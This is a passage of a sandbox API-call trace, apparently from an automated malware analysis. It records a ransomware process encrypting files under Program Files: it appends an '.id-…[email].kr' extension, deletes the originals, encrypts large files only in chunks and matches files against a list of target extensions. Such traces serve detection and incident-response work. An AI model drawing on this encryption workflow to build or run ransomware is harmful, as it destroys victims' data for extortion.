lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.310] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=63933) returned 1 [0095.310] CloseHandle (hObject=0x35c) returned 1 [0095.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 0x20 [0095.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.310] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.310] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.311] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.311] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.311] GetLastError () returned 0x0 [0095.311] ReadFile (in: hFile=0x35c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xf9bd, lpOverlapped=0x0) returned 1 [0095.329] WriteFile (in: hFile=0x360, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xf9c0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xf9c0, lpOverlapped=0x0) returned 1 [0095.331] ReadFile (in: hFile=0x35c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0095.331] WriteFile (in: hFile=0x360, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x118, lpOverlapped=0x0) returned 1 [0095.331] SetEndOfFile (hFile=0x360) returned 1 [0095.332] CloseHandle (hObject=0x360) returned 1 [0095.334] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.334] SetEndOfFile (hFile=0x35c) returned 1 [0095.335] CloseHandle (hObject=0x35c) returned 1 [0095.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.335] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt")) returned 1 [0095.335] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.336] lstrlenW (lpString=".doc") returned 4 [0095.336] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString=".docx") returned 5 [0095.336] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0095.336] lstrlenW (lpString=".pdf") returned 4 [0095.336] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString=".xls") returned 4 [0095.336] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.336] lstrlenW (lpString=".xlsx") returned 5 [0095.336] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0095.336] lstrlenW (lpString=".ppt") returned 4 [0095.336] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.336] lstrlenW (lpString=".zip") returned 4 [0095.336] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.336] lstrlenW (lpString=".rar") returned 4 [0095.336] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString=".bz2") returned 4 [0095.336] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString=".7z") returned 3 [0095.336] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.336] lstrlenW (lpString=".dbf") returned 4 [0095.336] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.336] lstrlenW (lpString=".1cd") returned 4 [0095.336] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.336] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.336] lstrlenW (lpString=".jpg") returned 4 [0095.336] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.337] lstrlenW (lpString=".doc") returned 4 [0095.337] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString=".docx") returned 5 [0095.337] lstrcmpiW (lpString1=".docx", lpString2="X.txt") returned -1 [0095.337] lstrlenW (lpString=".pdf") returned 4 [0095.337] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString=".xls") returned 4 [0095.337] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1 [0095.337] lstrlenW (lpString=".xlsx") returned 5 [0095.337] lstrcmpiW (lpString1=".xlsx", lpString2="X.txt") returned -1 [0095.337] lstrlenW (lpString=".ppt") returned 4 [0095.337] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.337] lstrlenW (lpString=".zip") returned 4 [0095.337] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1 [0095.337] lstrlenW (lpString=".rar") returned 4 [0095.337] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString=".bz2") returned 4 [0095.337] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString=".7z") returned 3 [0095.337] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.337] lstrlenW (lpString=".dbf") returned 4 [0095.337] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.337] lstrlenW (lpString=".1cd") returned 4 [0095.337] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1 [0095.337] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 69 [0095.338] lstrlenW (lpString=".jpg") returned 4 [0095.338] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1 [0095.338] lstrcmpiW (lpString1=".html", lpString2=".kr") returned -1 [0095.338] lstrlenW (lpString="Welcome.html") returned 12 [0095.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.338] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=955) returned 1 [0095.338] CloseHandle (hObject=0x35c) returned 1 [0095.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 0x20 [0095.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.338] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.339] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.339] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.339] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.339] GetLastError () returned 0x0 [0095.339] ReadFile (in: hFile=0x35c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x3bb, lpOverlapped=0x0) returned 1 [0095.354] WriteFile (in: hFile=0x360, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x3c0, lpOverlapped=0x0) returned 1 [0095.355] ReadFile (in: hFile=0x35c, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0095.355] WriteFile (in: hFile=0x360, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0095.356] SetEndOfFile (hFile=0x360) returned 1 [0095.356] CloseHandle (hObject=0x360) returned 1 [0095.359] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.359] SetEndOfFile (hFile=0x35c) returned 1 [0095.360] CloseHandle (hObject=0x35c) returned 1 [0095.360] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0095.360] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0095.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.361] lstrlenW (lpString=".doc") returned 4 [0095.361] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0095.361] lstrlenW (lpString=".docx") returned 5 [0095.361] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0095.361] lstrlenW (lpString=".pdf") returned 4 [0095.361] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0095.361] lstrlenW (lpString=".xls") returned 4 [0095.361] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0095.361] lstrlenW (lpString=".xlsx") returned 5 [0095.361] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0095.361] lstrlenW (lpString=".ppt") returned 4 [0095.361] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0095.361] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.361] lstrlenW (lpString=".zip") returned 4 [0095.362] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0095.362] lstrlenW (lpString=".rar") returned 4 [0095.362] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0095.362] lstrlenW (lpString=".bz2") returned 4 [0095.362] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0095.362] lstrlenW (lpString=".7z") returned 3 [0095.362] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0095.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.362] lstrlenW (lpString=".dbf") returned 4 [0095.362] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0095.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.362] lstrlenW (lpString=".1cd") returned 4 [0095.362] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0095.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.362] lstrlenW (lpString=".jpg") returned 4 [0095.362] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0095.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.362] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.362] lstrlenW (lpString=".doc") returned 4 [0095.362] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0095.362] lstrlenW (lpString=".docx") returned 5 [0095.362] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0095.362] lstrlenW (lpString=".pdf") returned 4 [0095.362] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0095.363] lstrlenW (lpString=".xls") returned 4 [0095.363] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0095.363] lstrlenW (lpString=".xlsx") returned 5 [0095.363] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0095.363] lstrlenW (lpString=".ppt") returned 4 [0095.363] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.363] lstrlenW (lpString=".zip") returned 4 [0095.363] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0095.363] lstrlenW (lpString=".rar") returned 4 [0095.363] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0095.363] lstrlenW (lpString=".bz2") returned 4 [0095.363] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0095.363] lstrlenW (lpString=".7z") returned 3 [0095.363] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.363] lstrlenW (lpString=".dbf") returned 4 [0095.363] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.363] lstrlenW (lpString=".1cd") returned 4 [0095.363] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0095.363] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0095.363] lstrlenW (lpString=".jpg") returned 4 [0095.363] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0095.364] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0095.364] lstrlenW (lpString="AppXManifest.xml") returned 16 [0095.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.367] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=5944055) returned 1 [0095.367] CloseHandle (hObject=0x35c) returned 1 [0095.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20 [0095.367] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.367] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0095.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0095.368] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fc64 | out: lpNewFilePointer=0x0) returned 1 [0095.368] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fc24 | out: lpNewFilePointer=0x0) returned 1 [0095.368] ReadFile (in: hFile=0x35c, lpBuffer=0x327d058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x296fc30, lpOverlapped=0x0 | out: lpBuffer=0x327d058*, lpNumberOfBytesRead=0x296fc30*=0x40000, lpOverlapped=0x0) returned 1 [0095.875] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x296fc24 | out: lpNewFilePointer=0x0) returned 1 [0095.875] ReadFile (in: hFile=0x35c, lpBuffer=0x32bd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x296fc30, lpOverlapped=0x0 | out: lpBuffer=0x32bd058*, lpNumberOfBytesRead=0x296fc30*=0x40000, lpOverlapped=0x0) returned 1 [0095.882] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x296fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0095.882] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x296fc24 | out: lpNewFilePointer=0x0) returned 1 [0095.882] ReadFile (in: hFile=0x35c, lpBuffer=0x32fd058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x296fc30, lpOverlapped=0x0 | out: lpBuffer=0x32fd058*, lpNumberOfBytesRead=0x296fc30*=0x40000, lpOverlapped=0x0) returned 1 [0095.900] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0095.900] WriteFile (in: hFile=0x35c, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x296fca8, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fca8*=0xc010c, lpOverlapped=0x0) returned 1 [0096.298] SetEndOfFile (hFile=0x35c) returned 1 [0096.299] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x436ced0 [0096.299] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fc74 | out: lpNewFilePointer=0x0) returned 1 [0096.299] WriteFile (in: hFile=0x35c, lpBuffer=0x436ced0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x296fc80, lpOverlapped=0x0 | out: lpBuffer=0x436ced0*, lpNumberOfBytesWritten=0x296fc80*=0x40000, lpOverlapped=0x0) returned 1 [0096.301] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x296fc74 | out: lpNewFilePointer=0x0) returned 1 [0096.301] WriteFile (in: hFile=0x35c, lpBuffer=0x436ced0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x296fc80, lpOverlapped=0x0 | out: lpBuffer=0x436ced0*, lpNumberOfBytesWritten=0x296fc80*=0x40000, lpOverlapped=0x0) returned 1 [0096.307] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x296fc74 | out: lpNewFilePointer=0x0) returned 1 [0096.307] WriteFile (in: hFile=0x35c, lpBuffer=0x436ced0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x296fc80, lpOverlapped=0x0 | out: lpBuffer=0x436ced0*, lpNumberOfBytesWritten=0x296fc80*=0x40000, lpOverlapped=0x0) returned 1 [0096.311] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x436ced0 | out: hHeap=0x440000) returned 1 [0096.314] CloseHandle (hObject=0x35c) returned 1 [0099.576] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0099.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.923] lstrlenW (lpString=".doc") returned 4 [0099.923] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.923] lstrlenW (lpString=".docx") returned 5 [0099.923] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0099.923] lstrlenW (lpString=".pdf") returned 4 [0099.923] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.923] lstrlenW (lpString=".xls") returned 4 [0099.923] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString=".xlsx") returned 5 [0099.924] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0099.924] lstrlenW (lpString=".ppt") returned 4 [0099.924] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.924] lstrlenW (lpString=".zip") returned 4 [0099.924] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.924] lstrlenW (lpString=".rar") returned 4 [0099.924] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString=".bz2") returned 4 [0099.924] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString=".7z") returned 3 [0099.924] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.924] lstrlenW (lpString=".dbf") returned 4 [0099.924] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.924] lstrlenW (lpString=".1cd") returned 4 [0099.924] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.924] lstrlenW (lpString=".jpg") returned 4 [0099.924] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.924] lstrlenW (lpString=".doc") returned 4 [0099.925] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString=".docx") returned 5 [0099.925] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0099.925] lstrlenW (lpString=".pdf") returned 4 [0099.925] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString=".xls") returned 4 [0099.925] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString=".xlsx") returned 5 [0099.925] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0099.925] lstrlenW (lpString=".ppt") returned 4 [0099.925] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.925] lstrlenW (lpString=".zip") returned 4 [0099.925] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0099.925] lstrlenW (lpString=".rar") returned 4 [0099.925] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString=".bz2") returned 4 [0099.925] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString=".7z") returned 3 [0099.925] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.925] lstrlenW (lpString=".dbf") returned 4 [0099.925] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.925] lstrlenW (lpString=".1cd") returned 4 [0099.925] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0099.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50 [0099.926] lstrlenW (lpString=".jpg") returned 4 [0099.926] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.926] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0099.926] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0099.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 